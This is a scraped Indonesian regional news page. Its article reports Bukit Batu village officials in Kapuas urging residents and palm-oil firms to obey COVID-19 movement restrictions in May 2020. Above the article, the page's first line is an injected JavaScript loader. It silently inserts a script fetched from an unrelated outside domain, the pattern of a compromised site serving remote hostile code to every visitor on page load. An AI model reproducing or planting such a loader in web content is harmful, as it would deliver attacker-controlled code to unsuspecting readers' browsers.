(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN. COM, KUALA KAPUAS – Masyarakat diminta mematuhi imbauan pemerintah, agar penyebaran Virus Corona dapat diatasi. Salah satunya tidak melakukan aktifitas di luar rumah. Hal tersebut merupakan salah satu tindakan yang efektif dalam memutus mata rantai dan mengurangi resiko penularan.
“Kalau terpaksa harus keluar rumah lakukan seefektif mungkin. Kalau tidak perlu keluar, sebaiknya jangan. Begitu juga terhadap Perusahaan Besar Sawit (PBS) dan Perusahaan Sirkon. Selama imbauan ini, agar dapat mentaati ketentuan pemerintah di wilayah Desa Bukit Batu, Kecamatan mantangai,” ungkap Kepala Desa Bukit Batu, Edi Susanto, Selasa (5/5/2020) sore.
Edi mengatakan tidak ada lagi warga yang berkeliaran di luar atau keluar masuk desa dari luar daerah. Jika masih ditemukan akan ada sanksi bagi warga tersebut.
Lebih lanjut, Kades Bukit Batu Edi Susanto meminta masyarakat tidak melakukan aktifitas pengumpulan massa atau mengadakan keramaian yang menghadirkan banyak orang. “Tim gabungan akan selalu melakukan pengawasan dan razia,” kata Edi.
Selaku Ketua BPD Desa Bukit Batu, Yanson B H Johan meminta perusahaan sawit dan perusahaan sirkon/puya, agar melarang karyawan untuk mudik atau memasukan karyawan dari luar daerah, apapun kepentingannya, karena himbauan ini bersifat tekanan kepada perusahaan yang berada diwilayah desa bukit batu kecamatan mantangai,” tegasnya.
“Tim Posko Penanganan Pencegahan Covid-19 ini diharapkan dapat memantau setiap pergerakan orang yang keluar masuk di wilayah masing-masing serta menggerakkan seluruh potensi masyarakat untuk bersama-sama menghadapi bahaya covid 19 serta melakukan sosialisasi dan penyuluhan kepada masyarakat dalam rangka memutus mata rantai covid 19 di desa bukit batu,” pungkas ketua BPD Bukit Batu.
Terkait himbauan ini, Kades Bukit Batu Edi Susanto menambahkan, kepada warga yang ingin melaporkan atau memeriksakan kesehatan, agar mendatangi posko penanganan pencegahan covid-19 yang ada di desa bukit batu tersebut,” jelas Edi. (Kanalkalimantan.com/Ags)
KANALKALIMANTAN.COM, BANJARMASIN - Petugas kepolisian dari Polsek Banjarmasin Barat menangkap dua orang remaja yang berniat… Read More
KANALKALIMANTAN.COM, BANJARBARU - Penyelenggaraan Pemilihan Kepala Daerah (Pilkada) Serentak 2024 di Kota Banjarbaru Provinsi Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Logistik surat suara Pemilihan Kepala Daerah (Pilkada) 2024 di Kota Banjarmasin mulai… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pengembangan kapasitas pengrajin anyaman purun dan alat penunjang produksi kerajinan, bantuan dana… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Dua hari jelang pemungutan suara Pilkada 2024, Komisi Pemilihan Umum (KPU) Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU - Melihat dan menyikapi penyelenggaraan Pilkada (Pemilihan Kepala Daerah) Kota Banjarbaru, pasca terbit… Read More
This website uses cookies.